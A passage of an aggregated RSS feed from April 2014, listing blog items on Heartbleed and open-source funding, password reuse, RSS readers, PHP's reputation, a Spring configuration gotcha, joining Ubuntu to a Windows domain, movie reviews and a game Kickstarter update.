for the infamous &amp;ldquo;goto fail&amp;rdquo; of Apple. Or some of the Java security vulnerabilities found by Adam
Gowdiak.&lt;/p&gt;
&lt;p&gt;The only disgraceful thing about Heartbleed is that almost everyone on this planet used OpenSSL but
almost nobody contributed to it. Of course, a proper code contribution would require in-depth
knowledge of cryptography and C programming, a combination which excludes many people. For example,
I know &lt;em&gt;some&lt;/em&gt; of the cryptographic algorithms, but not even remotely in a sufficient depth to
contribute anything meaningful. However, there are &lt;em&gt;certainly&lt;/em&gt; some companies whose employees have a
profile that fits these requirements. And even if there are not any of them, they can still support
OpenSSL financially. Having contributed to some open source projects on a regular basis, I am
slightly ashamed that OpenSSL went under my radar for far too long. This is going to change.&lt;/p&gt;
&lt;p&gt;Last, I want to propose a counterpoint the last idea in the article, namely that open source needs
to become more &lt;em&gt;professional&lt;/em&gt;. I strongly suspect that the author does not really know what degree
of professionalism is &lt;em&gt;already&lt;/em&gt; present in open source. It is not my place to speculate about
whether the motivation for open source developers substantially differs from the motivation of
employees. However, the practices of the open source world must not be as dismissed as easily.
Often, methodologies &amp;amp; best practices (e.g. &lt;em&gt;Scrum&lt;/em&gt; or &lt;em&gt;Refactoring&lt;/em&gt;) arise in the open source
community before seeping into larger companies.&lt;/p&gt;
&lt;p&gt;Instead of seeing the problem in the lack of managers for open source projects, I tend to see the
lack of contributors and/or funding—in the last point, I actually agree with the author. Maybe
throwing more money at projects such as OpenSSL, some *BSDs, and Linux is a good idea for ensuring
that open source software remains a viable alternative to proprietary software.&lt;/p&gt;</description><author>Ecce Homology on Bastian Grossenbacher Rieck's personal homepage</author><pubDate>Fri, 18 Apr 2014 17:01:44 GMT</pubDate><guid isPermaLink="true">https://bastian.rieck.me/blog/2014/heartbleed_spirit_open_source/</guid></item><item><title>An Interview with Ben Thompson</title><link>http://www.techinasia.com/stratechery-solo-ben-thompson-asia-apple-shifting-tides-online-media/</link><description>&lt;p&gt;Josh Horwitz, writing for Tech in Asia, conducted a great interview with Ben Thompson about his decision to go solo, and his background as a writer in the tech sector. If you&amp;#8217;re still on the fence as to whether you should become a member of Stratechery or not, both this interview and &lt;a href="http://thenextweb.com/media/2014/04/16/tech-blog-stratechery-goes-freemium-ben-thompson-strikes-indie-writer/"&gt;another article from The Next Web by Jon Russell&lt;/a&gt; on Ben&amp;#8217;s transition to independent writer ought to convince you. Ben knows what he&amp;#8217;s talking about: he has an impressive background that gives him fantastic insight into modern-day events within nearly every industry technology touches. And even at $30 a month&amp;#160;&amp;#8212;&amp;#160;disregarding the existence of the two lower membership tiers at $5 and $10 a month&amp;#160;&amp;#8212;&amp;#160;access to those insights is a steal.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://www.techinasia.com/stratechery-solo-ben-thompson-asia-apple-shifting-tides-online-media/"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Fri, 18 Apr 2014 10:14:11 GMT</pubDate><guid isPermaLink="true">http://www.techinasia.com/stratechery-solo-ben-thompson-asia-apple-shifting-tides-online-media/</guid></item><item><title>Rethinking Passwords</title><link>https://zacs.site/blog/rethinking-passwords.html</link><description>&lt;p&gt;Until a few days ago, I was the cautionary tale; everyone told my story leading up to a punch line in which some unfortunate schmuck lost everything after a malevolent hacker gained access to one of his online services. Despite his best efforts, an obscure&amp;#160;&amp;#8212;&amp;#160;or not so obscure, &lt;em&gt;ahem&lt;/em&gt; Heartbleed&amp;#160;&amp;#8212;&amp;#160;security breach had given an attacker access to one of this poor individual&amp;#8217;s passwords, and although he had selected lengthy combinations and varied them slightly from service to service, they ultimately remained only marginally different; he had to keep them all straight in his head, after all, and so after the initial break-in, determining the appropriate combinations to everything else from Gmail to bank accounts proved relatively easy for his maligned attacker. Thankfully, it never actually got as far for me as it did for our hypothetical &lt;a href="http://bit.ly/QnJRDO"&gt;Job&lt;/a&gt;. It could have, though, and that realization has weighed heavily on me for quite some time now.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/rethinking-passwords.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Fri, 18 Apr 2014 09:10:41 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/rethinking-passwords.html</guid></item><item><title>Stratechery 2.0</title><link>http://stratechery.com/2014/welcome-stratechery-20/</link><description>&lt;p&gt;As of yesterday, Ben Thompson has gone indie: after &lt;a href="https://zacs.site/blog/ben-thompson-on-the-future-of-news-and-newspapers.html"&gt;a three-part series&lt;/a&gt; examining the decline of newspapers and the role of individual writers in this new world order, he took his own words to heart in crafting an impressive business model consisting of three membership tiers, each chock-full of some very compelling offerings. Along with an excellent new weekly podcast called &lt;a href="http://stratechery.fm"&gt;Stratechery.fm&lt;/a&gt;&amp;#160;&amp;#8212;&amp;#160;whose first episode, &lt;a href="http://stratechery.fm/episode-001-welcome-to-stratechery-fm/"&gt;Welcome to Stratechery.fm&lt;/a&gt;, I plan to cover at length in this week&amp;#8217;s installment of This Week in Podcasts&amp;#160;&amp;#8212;&amp;#160;he intends to publish much more often and in this way make writing for Stratechery his full-time job. I &lt;a href="https://stratechery.com/membership/"&gt;became a member&lt;/a&gt;, and I hope you will too; we could use more intelligent analysis in the tech industry these days, and Ben Thompson is just the man for the job.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://stratechery.com/2014/welcome-stratechery-20/"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Thu, 17 Apr 2014 18:42:55 GMT</pubDate><guid isPermaLink="true">http://stratechery.com/2014/welcome-stratechery-20/</guid></item><item><title>Rethinking RSS</title><link>https://zacs.site/blog/rethinking-rss.html</link><description>&lt;p&gt;My relationship with RSS, while not exactly turbulent, has remained fairly amorphous over the last few years. In the Google Reader era, I used RSS occasionally to keep up with a handful of sites using Google&amp;#8217;s now-defunct service, an iOS app called Feedler, and then, later, Feedler Pro&amp;#160;&amp;#8212;&amp;#160;you could say I was moving on up in the world. Following Reader&amp;#8217;s demise, however, I had to change things up a bit as I simultaneously lost my primary tool for participating in this medium and became much more enthusiastic about it. Unable to find any suitable web-based alternatives capable of syncing across multiple platforms though, I opted for the somewhat cumbersome route whereby I pointed my latest iOS RSS client, Reeder, directly at the RSS feeds I wished to track with. In other words, rather than signing in with a Google Reader account, I pasted the feed URLs directly into Reeder and let the app take care of the back-end work previously fulfilled by Google. Although this had the benefit of cutting out my reliance on middlemen, it came with one major downside: no sync whatsoever. Thus, unless I wanted to scroll through the same list of feeds multiple times for each device&amp;#160;&amp;#8212;&amp;#160;and I did not&amp;#160;&amp;#8212;&amp;#160;I could subscribe to and read these feeds on one device only.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/rethinking-rss.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Thu, 17 Apr 2014 10:19:10 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/rethinking-rss.html</guid></item><item><title>X-Men: Days of Future Past</title><link>https://olshansky.info/movie/x-men_days_of_future_past/</link><description>Olshansky's review of X-Men: Days of Future Past</description><author>🦉 olshansky 🦁</author><pubDate>Thu, 17 Apr 2014 06:09:15 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/x-men_days_of_future_past/</guid></item><item><title>How to Train Your Dragon 2</title><link>https://olshansky.info/movie/how_to_train_your_dragon_2/</link><description>Olshansky's review of How to Train Your Dragon 2</description><author>🦉 olshansky 🦁</author><pubDate>Thu, 17 Apr 2014 06:08:55 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/how_to_train_your_dragon_2/</guid></item><item><title>Popular + Luxurious = Populuxe</title><link>http://huckberry.com/blog/posts/popular-luxurious-populuxe</link><description>&lt;p&gt;Huckberry takes us on a nostalgic trip to a bygone era I fear we will never experience again. Aspiration, decency, and pride are all vanishing from America at much too rapid a pace these days, and that rate has only continue to increase in recent years; Nicholas Pell is right to be saddened by their untimely and unfortunate passing, for once our society loses these values I doubt we will ever see them come back.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://huckberry.com/blog/posts/popular-luxurious-populuxe"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Wed, 16 Apr 2014 18:47:54 GMT</pubDate><guid isPermaLink="true">http://huckberry.com/blog/posts/popular-luxurious-populuxe</guid></item><item><title>Measuring Success In Life</title><link>http://www.financialsamurai.com/earnings-beyond-the-wallet-how-do-you-measure-success-in-life/</link><description>&lt;p&gt;Colleen Kong wrote a guest post on one of the few websites I follow unrelated to technology, Financial Samurai, detailing how she measures success in her life outside of her wallet&amp;#8217;s size, with some great advice for everyone regardless of their lot in life. I wish her the best of luck.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://www.financialsamurai.com/earnings-beyond-the-wallet-how-do-you-measure-success-in-life/"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Wed, 16 Apr 2014 18:47:36 GMT</pubDate><guid isPermaLink="true">http://www.financialsamurai.com/earnings-beyond-the-wallet-how-do-you-measure-success-in-life/</guid></item><item><title>Earspeakers</title><link>http://vintagezen.com/zen/2014/4/5/earspeakers</link><description>&lt;p&gt;After Marco Arment posted his great article on &lt;a href="http://www.marco.org/2014/02/03/headphones-and-coffee"&gt;fancy headphones and fussy coffee&lt;/a&gt; back in February, I strongly considered dropping $180 that I&amp;#160;&amp;#8212;&amp;#160;to be brutally honest&amp;#160;&amp;#8212;&amp;#160;didn&amp;#8217;t have on a pair of &lt;a href="http://amzn.com/B008POFOHM"&gt;Beyerdynamic DT-770-PRO 32ohm closed dynamic headphones&lt;/a&gt;. Whether fortunately or unfortunately, I still cannot say, sanity won out though, and I abstained from blowing a week&amp;#8217;s salary on what I have no doubt would have been a fantastic listening experience. As both Linus and Marco explained though, you don&amp;#8217;t have to spend a ton of money on great headphones just to have a good time listening to your music: take the advice of a few trustworthy people, spend within your means, sit back, and enjoy.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://vintagezen.com/zen/2014/4/5/earspeakers"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Wed, 16 Apr 2014 18:11:31 GMT</pubDate><guid isPermaLink="true">http://vintagezen.com/zen/2014/4/5/earspeakers</guid></item><item><title>Paths</title><link>http://mattgemmell.com/paths/</link><description>&lt;p&gt;I think The Typist put it best when he posted &lt;a href="https://twitter.com/typistX/status/452184590028128256"&gt;a tweet linking to this piece&lt;/a&gt; by Matt Gemmell, where he said, &amp;#8220;I am wary of superlatives but @mattgemmell&amp;#8217;s latest is the best piece of text I&amp;#8217;ve read in the last 5 years; at least&amp;#8221;. This truly is a phenomenal work of prose, simultaneously remarkably sad, hopeful, and intensely inspirational; better words of advice than those at the end of Matt&amp;#8217;s article have never been said.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://mattgemmell.com/paths/"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Wed, 16 Apr 2014 15:15:21 GMT</pubDate><guid isPermaLink="true">http://mattgemmell.com/paths/</guid></item><item><title>OkCupid Revisited</title><link>https://zacs.site/blog/okcupid-revisited.html</link><description>&lt;p&gt;In scene reminiscent of Steve Jobs&amp;#8217; dismissal from Apple at the behest of John Sculley, Brendan Eich lost his job as CEO of the Mozilla Corporation a few weeks ago over a political donation made roughly six years prior in support of California&amp;#8217;s Proposition 8. A bill that sought to ban gay marriage in the state, it&amp;#8217;s easy to see why Eich took such flack for that move in today&amp;#8217;s hyper-sensitive political landscape permeated by the rantings of faux-political activists. Although a federal court ultimately struck it down as unconstitutional, the fact that his donation ultimately had no lasting effect mattered not to nearly everyone that weighed in on the controversy, and least of all to Sam Yagan. CEO of OkCupid, Sam Yagan played a key role in Eich&amp;#8217;s ultimate impeachment by acting as one of Eich&amp;#8217;s loudest opponents.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/okcupid-revisited.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Wed, 16 Apr 2014 14:09:57 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/okcupid-revisited.html</guid></item><item><title>There’s a Strava for Everything</title><link>https://huphtur.nl/theres-a-strava-for-everything/</link><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="http://flyingfrom.to/" title="Flying"&gt;Strava for flying&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://babolatplay.com/" title="Babolat"&gt;Strava for tennis&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://drivingcurve.com/" title="Driving Curve"&gt;Strava for driving&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://foursum.com/" title="Foursum"&gt;Strava for golfing&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://rapt.fm/" title="rapt.fm"&gt;Strava for rapping&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://untappd.com/" title="Untappd"&gt;Strava for beer drinking&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.indiegogo.com/projects/rise-the-wearable-sit-tracker-that-motivates-you-to-sit-less" title="Rise"&gt;Strava for sitting&lt;/a&gt; (ok, that one failed already)&lt;/li&gt;
&lt;/ul&gt;</description><author>huphtur</author><pubDate>Wed, 16 Apr 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://huphtur.nl/theres-a-strava-for-everything/</guid></item><item><title>Internet Explorer Won't Save Cookies On Domains With Underscores In Them.</title><link>https://daniellittle.dev/internet-explorer-wont-save-cookies-on-domains-with-underscores-in-them</link><description>All versions of Internet Explorer (version 5.5 all the way to version 11) will discard all cookies if the domain has an underscore in it…</description><author>Daniel Little Dev</author><pubDate>Wed, 16 Apr 2014 02:41:23 GMT</pubDate><guid isPermaLink="true">https://daniellittle.dev/internet-explorer-wont-save-cookies-on-domains-with-underscores-in-them</guid></item><item><title>Why I Rank My Friends By Income, Iq, And Hotness</title><link>http://kernelmag.dailydot.com/comment/column/9497/why-i-rank-my-friends-by-income-iq-and-hotness/</link><description>&lt;p&gt;Impersonal, cold, and calculating, perhaps, but pragmatic, practical, and logically sound? Yes again. Milo Yiannopoulos has a very interesting approach to relationships. And today, in an age where anything less than four digits worth of Facebook &amp;#8220;friends&amp;#8221; has somehow become strange, it might not be such a bad idea. Food for thought, anyway.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://kernelmag.dailydot.com/comment/column/9497/why-i-rank-my-friends-by-income-iq-and-hotness/"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Tue, 15 Apr 2014 14:50:19 GMT</pubDate><guid isPermaLink="true">http://kernelmag.dailydot.com/comment/column/9497/why-i-rank-my-friends-by-income-iq-and-hotness/</guid></item><item><title>The Outsider and the Creed</title><link>http://www.overthought.org/blog/2014/the-outsider-and-the-creed</link><description>&lt;p&gt;Turns out you are not the only one battling with a lack of conviction in your own self worth and the value of the things you create, and struggling with the fear that at any moment someone might discover that you are, in fact, the fraud you so strongly believe yourself to be. In reality, we all struggle with these complicated feelings&amp;#160;&amp;#8212;&amp;#160;you, me, and I would bet anything your role model does as well. In the somber words of &lt;a href="http://the-blacklist.wikia.com/wiki/Raymond_Reddington"&gt;Raymond Reddington&lt;/a&gt; though, &amp;#8220;There will be nightmares. And every day when you wake up, it will be the first thing you think about. Until one day, it will be the second thing.&amp;#8221; Although at the time he referred to something much darker than the purely psychological impostor syndrome, his words apply here as well: these misgivings will plague you from the moment you wake up &lt;a href="http://daringfireball.net/linked/2014/02/20/om"&gt;in the middle of the night&lt;/a&gt; to the second you fall back into a fitful sleep. Until one day, they will not.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://www.overthought.org/blog/2014/the-outsider-and-the-creed"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Tue, 15 Apr 2014 13:27:12 GMT</pubDate><guid isPermaLink="true">http://www.overthought.org/blog/2014/the-outsider-and-the-creed</guid></item><item><title>HumbleBundle Downloadagent (hib-dlagent) on Arch Linux</title><link>https://www.zufallsheld.de/2014/04/15/humblebundle-downloadagent-hib-dlagent-on-arch-linux/</link><description>&lt;p&gt;I purchased nearly all Humble Indie Bundles from the &lt;a href="https://www.humblebundle.com/"&gt;HumbleBundle&lt;/a&gt;-guys. I also do not want to manually download and install the games from the site, because after all, I use Linux and a decent package-manager, &lt;em&gt;pacman&lt;/em&gt;. Luckily, there&amp;#8217;s the &lt;a href="https://aur.archlinux.org/"&gt;&lt;span class="caps"&gt;AUR&lt;/span&gt;&lt;/a&gt; and the &lt;em&gt;hib-dlagent&lt;/em&gt;, which lets me install and …&lt;/p&gt;</description><author>zufallsheld</author><pubDate>Tue, 15 Apr 2014 12:10:58 GMT</pubDate><guid isPermaLink="true">https://www.zufallsheld.de/2014/04/15/humblebundle-downloadagent-hib-dlagent-on-arch-linux/</guid></item><item><title>Detecting duplicate images using Python</title><link>http://blog.iconfinder.com/detecting-duplicate-images-using-python/</link><description>&lt;p&gt;Fascinating article from Silviu Tantos of Iconfinder on developing an algorithm to detect duplicate images using just a few lines of Python. Having written the back-end for this site myself, completely in Python, I plan on using some of these tactics extensively in version 1.0 to streamline and improve my process for determining when and how often to re-build this site.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://blog.iconfinder.com/detecting-duplicate-images-using-python/"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Tue, 15 Apr 2014 11:58:44 GMT</pubDate><guid isPermaLink="true">http://blog.iconfinder.com/detecting-duplicate-images-using-python/</guid></item><item><title>Reconciling Microsoft</title><link>https://zacs.site/blog/reconciling-microsoft.html</link><description>&lt;p&gt;Following the BUILD conference, there has been a great deal of uncharacteristically positive talk within the Apple sphere with regards to the products and services Microsoft recently unveiled there, as well as the new direction these announcements seem to indicate. In particular, Myke Hurley, Stephen Hacket, and Federico Viticci of The Prompt had an interesting discussions on these topics in the forty-second episode of their podcast, &lt;a href="http://5by5.tv/prompt/42"&gt;Beautiful Flower&lt;/a&gt;, as did John Gruber and Ed Bott in episode &lt;a href="http://muleradio.net/thetalkshow/78/"&gt;seventy-eight of The Talk Show&lt;/a&gt;, recorded live at BUILD. These two shows forced me to rethink the class of writers I follow, for I can no longer confidently state that Apple is the only company making anything interesting. So I set out to find some writers from the other side of the fence&amp;#160;&amp;#8212;&amp;#160;onces not wholly focused on the iOS ecosystem, that could provide valuable insight into a company quickly regaining its relevance in today&amp;#8217;s tech scene. Or at least, I decided to; I have yet to succeed.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/reconciling-microsoft.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Tue, 15 Apr 2014 11:05:43 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/reconciling-microsoft.html</guid></item><item><title>PHP Has Grown Up, You Should Too</title><link>https://donatstudios.com/PHP-Has-Grown-Up</link><description>&lt;p&gt;Over the weekend I went to a talk on Scala. The speaker said variety of &lt;strong&gt;harsh&lt;/strong&gt;, inflammatory, and mostly wrong things about PHP and the PHP community. &lt;/p&gt;
&lt;p&gt;One such example:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The PHP community doesn't care about things like lambdas, they just care about getting a site up as fast as possible. &lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This is just rubbish. PHP got the lambda treatment in 2009, while Java received it only &lt;em&gt;months ago&lt;/em&gt;. The speaker is a Java developer who walked away from PHP over five years ago. He had not seen it grow up. He doesn't know the current state of things, he is misrepresenting PHP.  &lt;/p&gt;
&lt;p&gt;Later on, he asked what technology the audience used. I loudly proclaimed PHP, despite the speakers previous grumblings. An audience member in front of me turned around and scoffed, or at least so I thought. I felt at least a little like a martyr at this point and decided to take action. Justice was in order.&lt;/p&gt;
&lt;center&gt;
&lt;blockquote class="twitter-tweet" lang="en"&gt;&lt;p&gt;To the heavily bearded dude who turned around and scoffed when I mentioned PHP, die in a fire. &lt;a href="https://twitter.com/search?q=%23minnebar&amp;amp;amp;src=hash"&gt;#minnebar&lt;/a&gt;&lt;/p&gt;&amp;mdash; Jesse Donat (@donatj) &lt;a href="https://twitter.com/donatj/statuses/455029421154381824"&gt;April 12, 2014&lt;/a&gt;&lt;/blockquote&gt;
 
&lt;/center&gt;
&lt;p&gt;After the talk, the &amp;quot;bearded dude&amp;quot; approached me. He had seen the tweet thanks to the hash tag. He apologized and said it was not a scoff, but rather an expression of excitement that someone would bring it up after the speakers treatment of the language. He works in the language some too and was glad to see someone stand up for it. I shook his hand and apologized for the tweet. &lt;/p&gt;
&lt;p&gt;Later on he left the following reply:&lt;/p&gt;
&lt;center&gt;
&lt;blockquote class="twitter-tweet" lang="en"&gt;&lt;p&gt;&lt;a href="https://twitter.com/donatj"&gt;@donatj&lt;/a&gt; not a scoff. admiration.&lt;/p&gt;&amp;mdash; Jeff Mattfield (@jeffmattfield) &lt;a href="https://twitter.com/jeffmattfield/statuses/455045280019132417"&gt;April 12, 2014&lt;/a&gt;&lt;/blockquote&gt;
 
&lt;/center&gt;
&lt;p&gt;I had misjudged him, as the speaker had misjudged PHP. Alas the hypocrisy; I was no better than the speaker.&lt;/p&gt;
&lt;p&gt;The whole experience got me thinking about why there is still so much FUD and ill will around PHP. After all, we've had many modern niceties for a good while now. The language has matured significantly in the last decade. It has become a modern language that's scalable, fast, and enjoyable, all while still easy to deploy. &lt;/p&gt;
&lt;p&gt;Moreover, it has one of the best package managers I've ever used -  &lt;a href="https://getcomposer.org/"&gt;Composer&lt;/a&gt;, and a vibrant and helpful community. Seriously, why all the hate?&lt;/p&gt;
&lt;p&gt;The moral to this story is think before you act. Make sure you have the whole picture. I didn't, the speaker didn't.  This has been my 2¢ for the day.&lt;/p&gt;</description><author>Donat Studios</author><pubDate>Tue, 15 Apr 2014 04:35:01 GMT</pubDate><guid isPermaLink="true">https://donatstudios.com/PHP-Has-Grown-Up</guid></item><item><title>@Value not resolved when using @PropertySource annotation.</title><link>https://www.craigpardey.com/post/2014-04-15-value-not-resolved-when-using-propertysource-annotation/</link><description>&lt;p&gt;Spring&amp;rsquo;s gotcha-of-the-day is around using @Value to resolve property
placeholders in combination with @PropertySource.&lt;/p&gt;
&lt;p&gt;I had the following Spring Java configuration:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;@Configuration  
@PropertySource(&amp;quot;classpath:/test.properties&amp;quot;)  
public class TestAppConfig {

    @Value(&amp;quot;${queue.name}&amp;quot;)  
    private String queue;
    
    @Bean(name=&amp;quot;queue&amp;quot;)  
    public String getQueue() {  
        return queue;  
    }  
}  
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;But the value in &amp;ldquo;queue&amp;rdquo; was not resolving - it returned &amp;ldquo;${queue.name}&amp;rdquo; as
the value.&lt;/p&gt;
&lt;p&gt;It turns out that I needed the following magical incantation to get it to
work.&lt;/p&gt;</description><author>Craig Pardey</author><pubDate>Tue, 15 Apr 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://www.craigpardey.com/post/2014-04-15-value-not-resolved-when-using-propertysource-annotation/</guid></item><item><title>Reporting Is A Code Smell</title><link>https://cmdev.com/blog/2014-04-15-reportingcodesmell/</link><description>Six reasons reporting is a code smell</description><author>The Cranky Developer on Crater Moon Development</author><pubDate>Tue, 15 Apr 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://cmdev.com/blog/2014-04-15-reportingcodesmell/</guid></item><item><title>Adding an Ubuntu Machine to a Windows Domain</title><link>https://joshuarogers.net/articles/2014-04/adding-ubuntu-machine-windows-domain/</link><description>If you run a Linux server alongside Windows servers long enough, you'll eventually have the need (or request) to add that machine to a Windows domain. Thankfully, it's a rather easy process. Assuming you run Ubuntu, you can simply run the following commands, substituting the domain and a domain admin in place of EXAMPLE.COM and jsmith, respectively.
sudo apt-get install likewise-open sudo domainjoin-cli join EXAMPLE.COM jsmith sudo lwconfig AssumeDefaultDomain true Out of the above lines, the first two are probably self-explanatory, but the third is likely a bit more opaque.</description><author>Joshua Rogers</author><pubDate>Mon, 14 Apr 2014 15:00:00 GMT</pubDate><guid isPermaLink="true">https://joshuarogers.net/articles/2014-04/adding-ubuntu-machine-windows-domain/</guid></item><item><title>This Week in Podcasts</title><link>https://zacs.site/blog/this-week-in-podcasts-4114.html</link><description>&lt;p&gt;Unfortunately, the past week was relatively light in terms of new podcasts, and even more sparse with regards to great episodes. There are always a few, though, and this week was no different.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/this-week-in-podcasts-4114.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Mon, 14 Apr 2014 10:41:02 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/this-week-in-podcasts-4114.html</guid></item><item><title>Facebook’s Hack Developer Day 2014</title><link>https://kernelcurry.com/blog/facebooks-hack-developer-day-2014/</link><description>&lt;h2 id="overview"&gt;Overview&lt;/h2&gt;
&lt;p&gt;This last week I was lucky enough to step onto Facebook&amp;rsquo;s campus for their first ever Hack Developer Day. Throughout the day developers and project managers gave talks about HHVM and Hack. From overviews to the nitty gritty details, each talk brought more insight into why this language was created. Below are a few of the talks that I thought were the best of the bunch.&lt;/p&gt;
&lt;h2 id="hack-language-and-library-features"&gt;Hack Language and Library Features&lt;/h2&gt;
&lt;div style="padding-bottom: 56.25%; height: 0; overflow: hidden;"&gt;
 
 &lt;/div&gt;

&lt;p&gt;This talk walks through most of the new features of the Hack language. With just this overview of the language, most PHP developers could start using Hack in just a few minutes. Although HHVM has lots of &lt;a href="http://docs.hhvm.com/"&gt;documentation&lt;/a&gt;, this talk solidifies the features with relevant examples for the development community.&lt;/p&gt;</description><author>KernelCurry</author><pubDate>Mon, 14 Apr 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://kernelcurry.com/blog/facebooks-hack-developer-day-2014/</guid></item><item><title>Installing Phindex</title><link>https://boyter.org/2014/04/installing-phindex/</link><description>&lt;p&gt;This is a follow on piece to my 5 part series about writing a search engine from scratch in PHP which you can read at &lt;a href="http://www.boyter.org/2013/01/code-for-a-search-engine-in-php-part-1/"&gt;http://www.boyter.org/2013/01/code-for-a-search-engine-in-php-part-1/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;I get a lot of email requests asking how to setup Phindex on a new machine and start indexing the web. Since the article and code was written aimed at someone with a degree of knowledge of PHP this is somewhat understandable. What follows is how to set things up and start crawling and indexing from scratch.&lt;/p&gt;</description><author>Ben E. C. Boyter</author><pubDate>Sun, 13 Apr 2014 12:05:34 GMT</pubDate><guid isPermaLink="true">https://boyter.org/2014/04/installing-phindex/</guid></item><item><title>How to Train Your Dragon</title><link>https://olshansky.info/movie/how_to_train_your_dragon/</link><description>Olshansky's review of How to Train Your Dragon</description><author>🦉 olshansky 🦁</author><pubDate>Sun, 13 Apr 2014 07:50:31 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/how_to_train_your_dragon/</guid></item><item><title>Transcendence</title><link>https://olshansky.info/movie/transcendence/</link><description>Olshansky's review of Transcendence</description><author>🦉 olshansky 🦁</author><pubDate>Sun, 13 Apr 2014 07:50:21 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/transcendence/</guid></item><item><title>2014-04-13</title><link>https://ho.dges.online/pictures/2014-04-13/</link><description/><author>ho.dges.online</author><pubDate>Sun, 13 Apr 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://ho.dges.online/pictures/2014-04-13/</guid></item><item><title>Stockholm and robot parts</title><link>https://liza.io/stockholm-and-robot-parts/</link><description>&lt;h2 id="jill"&gt;Jill&lt;/h2&gt;
&lt;p&gt;I&amp;rsquo;ve been working on &amp;ldquo;Jill&amp;rdquo; for the past few weeks. Figuring the best way to do the parts-gathering part of the game (specifically as relating to animation) is doing my head in. I&amp;rsquo;m trying a few different things as I go, seeing what seems to work the best. The general gist of what it has to do is:&lt;/p&gt;</description><author>Liza Shulyayeva</author><pubDate>Sat, 12 Apr 2014 17:23:48 GMT</pubDate><guid isPermaLink="true">https://liza.io/stockholm-and-robot-parts/</guid></item><item><title>FINAL WEEK!</title><link>https://etodd.io/2014/04/12/final-week/</link><description>&lt;p style="color: #0b1902;"&gt;We are now in the midst of the final week of &lt;a href="https://www.kickstarter.com/projects/et1337/lemma-first-person-parkour"&gt;Kickstarter funding!&lt;/a&gt; With the campaign nearing the end, I thought I would give you another development update.&lt;/p&gt;
&lt;p style="color: #0b1902;"&gt;First, I spent a few days completely rewriting every bit of text in the game to support multiple languages. You can now change the language from this nifty selector on the main menu, and the whole game instantly switches:&lt;/p&gt;
&lt;div class="template asset" style="color: #0b1902;"&gt;
&lt;figure style="font-weight: inherit; font-style: inherit;"&gt;&lt;img alt="" class="fit" src="https://etodd.io/assets/0fcb3709095f12ff2343184c56a24576_large.png" style="font-weight: inherit; font-style: inherit;" /&gt;&lt;/figure&gt;
&lt;/div&gt;
